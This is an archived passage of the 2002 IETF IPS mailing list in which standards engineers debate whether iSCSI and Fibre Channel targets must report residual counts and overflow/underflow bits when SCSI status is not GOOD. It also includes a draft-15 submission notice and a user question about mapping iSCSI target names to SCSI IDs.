> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.




------_=_NextPart_001_01C23C98.4D78E7A0-- From owner-ips@ece.cmu.edu Mon Aug 5 15:49:13 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA29227 for ; Mon, 5 Aug 2002 15:49:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g75J2IZ04853 for ips-outgoing; Mon, 5 Aug 2002 15:02:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g75J2Eo04846 for ; Mon, 5 Aug 2002 15:02:15 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g75J272E046408; Mon, 5 Aug 2002 21:02:08 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g75J26h6045502; Mon, 5 Aug 2002 21:02:07 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu Importance: High MIME-Version: 1.0 Subject: RE: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Mon, 5 Aug 2002 22:02:00 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 05/08/2002 22:02:06, Serialize complete at 05/08/2002 22:02:06 Content-Type: multipart/alternative; boundary="=_alternative 00683E3DC2256C0C_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00683E3DC2256C0C_= Content-Type: text/plain; charset="us-ascii" David, the current text already says this but how about? The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set the residual count and initiators may use it when the response code is "completed at target" (even if the status returned is not GOOD). If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred. Julo Black_David@emc.com 08/05/2002 06:53 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, Text is ok, but please add a sentence to avoid the confusion over Status that occurred at the plugfest - SCSI permits a residual count to be returned for status values other than GOOD. Thanks, --David -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 03, 2002 1:14 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy. The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue). Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count. That is why I would suggest the following text: The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred. Julo Black_David@emc.com 08/03/2002 01:50 AM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, Matching FCP's wording resulted in a "go ask the expert" algorithm for figuring out what is required - we ought to do better, and this is an iSCSI protocol issue. What I'm looking for in 9.4 is: - Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked by the Initiator when the Response is "Command Completed at Target" no matter what the value of the Status field is. - SCSI permits Residual Counts to be returned for Status values other than GOOD; see [SPC2]. I believe that both of these are implied by the current text, but since this caused confusion at the plugfest, we ought to spell it out. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 02, 2002 1:43 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We DO EXACTLY what FCP did - say nothing. I went through the document - thetre is no relation mentioned and that is what we do too. In any case we cannot enforce a SCSI behavior. The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI. I also suspect that the trouble may be deeper than we think and I find it much more prudent to say nothing (again as FCP did). Julo Black_David@emc.com 08/01/2002 05:56 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. --=_alternative 00683E3DC2256C0C_= Content-Type: text/html; charset="us-ascii"
David,

the current text already says this but how about?

The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set the residual count and initiators may use it when the response code is "completed at target" (even if the status returned is not GOOD). If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred.

Julo


Black_David@emc.com

08/05/2002 06:53 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI: plugfest4 issues

       


Julian,
 
Text is ok, but please add a sentence to avoid the confusion over
Status that occurred at the plugfest - SCSI permits
a residual count to be returned for status values other than GOOD.
 
Thanks,
--David
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 03, 2002 1:14 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues

David,

We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy.
The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue).
Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count.

That is why I would suggest the following text:

The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred.

Julo

Black_David@emc.com

08/03/2002 01:50 AM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        ips@ece.cmu.edu
       Subject:        RE: iSCSI: plugfest4 issues

     



Julian,
 
Matching FCP's wording resulted in a "go ask the expert" algorithm
for figuring out what is required - we ought to do better, and this
is an iSCSI protocol issue.  What I'm looking for in 9.4 is:
 
- Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked
   by the Initiator when the Response is "Command Completed at Target"
   no matter what the value of the Status field is.
- SCSI permits Residual Counts to be returned for Status values other
   than GOOD; see [SPC2].
 
I believe that both of these are implied by the current text, but since
this caused confusion at the plugfest, we ought to spell it out.
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 02, 2002 1:43 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues


David,

We DO EXACTLY what FCP did  - say nothing.
I went through the document - thetre is no relation mentioned and that is what we do too.

In any case we cannot enforce a SCSI behavior.
The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI.

I also suspect that the trouble may be deeper than we think and I find it much more prudent
to say nothing (again as FCP did).

Julo

Black_David@emc.com

08/01/2002 05:56 PM

       
      To:        Julian Satran/Haifa/IBM@IBMIL
      cc:        ips@ece.cmu.edu
      Subject:        RE: iSCSI: plugfest4 issues

     




Julian,

I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).

Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues


Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo
Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
     To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
     cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
     Subject:        Re: iSCSI: plugfest4 issues

   





Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
                                       
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
appropriate O and U bits need to be computed on all SCSI Response
PDUs, regardless of the values in the Status and/or Response fields.

One point of view says that the Residual Count field and the O and U
bits appear to be strictly iSCSI values that are derived by the
iSCSI target layer from the ExpectedDataTransferLength field of the
SCSI Command PDU and the DataSegmentLength fields of the DataIn or
DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
target always computes a Residual Count value without regard to the
Status and/or Response fields, since these are SCSI values.

The other point of view says that the Residual Count field, and the
O and U bits, need only be set when the Status and Response fields
indicate that the command was completed at the target with a GOOD
Status, and the target does not have to compute or set the Residual
Count field and the O or U bits for other values of the Status and/or
Response fields.

Which is it?  In any case, could this be clarified somewhere in the
standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
     T10 Reflector <t10@t10.org>,
     Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.

--=_alternative 00683E3DC2256C0C_=-- From owner-ips@ece.cmu.edu Mon Aug 5 22:33:05 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA12388 for ; Mon, 5 Aug 2002 22:33:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g761xIN01967 for ips-outgoing; Mon, 5 Aug 2002 21:59:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g761xGo01963 for ; Mon, 5 Aug 2002 21:59:16 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g761x92E024882; Tue, 6 Aug 2002 03:59:09 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g761x9sx032148; Tue, 6 Aug 2002 03:59:10 +0200 To: internet-drafts@ietf.org Cc: ips@ece.cmu.edu Importance: High MIME-Version: 1.0 Subject: iSCSI version 15 draft X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 6 Aug 2002 04:59:06 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 06/08/2002 04:59:10, Serialize complete at 06/08/2002 04:59:10 Content-Type: multipart/alternative; boundary="=_alternative 000ADAA8C2256C0D_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 000ADAA8C2256C0D_= Content-Type: text/plain; charset="us-ascii" On behalf of the team of authors and as part of the IETF-IPS working group I submit a draft for immediate publication. The text and pdf versions can be found at: http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iscsi-15txt http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iscsi-15.pdf This version completely replaces: draft-ietf-ips-iscsi-14.txt and pdf Julian Satran - IBM Research Laboratory at Haifa --=_alternative 000ADAA8C2256C0D_= Content-Type: text/html; charset="us-ascii"



On behalf of the team of authors and as part of the IETF-IPS working group
I submit a draft for immediate publication.

The text and pdf versions can be found at:

http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iscsi-15txt

http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iscsi-15.pdf


This version completely replaces:

draft-ietf-ips-iscsi-14.txt and pdf



Julian Satran - IBM Research Laboratory at Haifa





























--=_alternative 000ADAA8C2256C0D_=-- From owner-ips@ece.cmu.edu Tue Aug 6 13:04:09 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18752 for ; Tue, 6 Aug 2002 13:04:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g76GPFn04403 for ips-outgoing; Tue, 6 Aug 2002 12:25:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hotmail.com (f65.pav2.hotmail.com [64.4.37.65]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g76GDho03506 for ; Tue, 6 Aug 2002 12:13:43 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Aug 2002 09:13:37 -0700 Received: from 129.219.25.77 by pv2fd.pav2.hotmail.msn.com with HTTP; Tue, 06 Aug 2002 16:13:36 GMT X-Originating-IP: [129.219.25.77] From: "shesha bhushan" To: ips@ece.cmu.edu Subject: iSCSI and target IDS Date: Tue, 06 Aug 2002 16:13:36 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Aug 2002 16:13:37.0308 (UTC) FILETIME=[38760DC0:01C23D64] Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi, I have connected an array of disks to a Linux box, and I am running iSCSI on that Linux box. There are multiple disks each with unique target IDs. I understand the fact that, depending on the iSCSI names, we have to decide to which disk we need to communicate. Say I have decided that eas.asu.edu.disk1 is target ID 1 and eas.asu.edu.disk2 is target Id2. Once I have iSCSI target names(say eas.asu.edu.disk2) at iSCSI target, how to specify to SCSI initiator that I need to communicate with the device having target ID 2 ??? Can it be done at the SCSI subsystem level or at the SCSI driver level. Please let me know. Thanks Shesha Arizona State University _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com From owner-ips@ece.cmu.edu Tue Aug 6 13:57:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21142 for ; Tue, 6 Aug 2002 13:57:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g76HL6m08485 for ips-outgoing; Tue, 6 Aug 2002 13:21:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g76HL2o08473 for ; Tue, 6 Aug 2002 13:21:02 -0400 (EDT) Received: from trebiaachadda (trebia-dhcp-30-57.trebia.com [192.168.30.57]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PV0ADYGF; Tue, 6 Aug 2002 13:20:59 -0400 Message-ID: <001701c23d6d$a16314f0$391ea8c0@trebiaachadda> From: "Anshul Chadda" To: "shesha bhushan" Cc: References: Subject: Re: iSCSI and target IDS Date: Tue, 6 Aug 2002 13:20:58 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I think it should be done at the SCSI driver level(iSCSI). The SCSI subsystem need not know the details about the underlying interconnect whether it be iSCSI, FCP, or some bus. So, a typical I/O (started by a user) is done to some 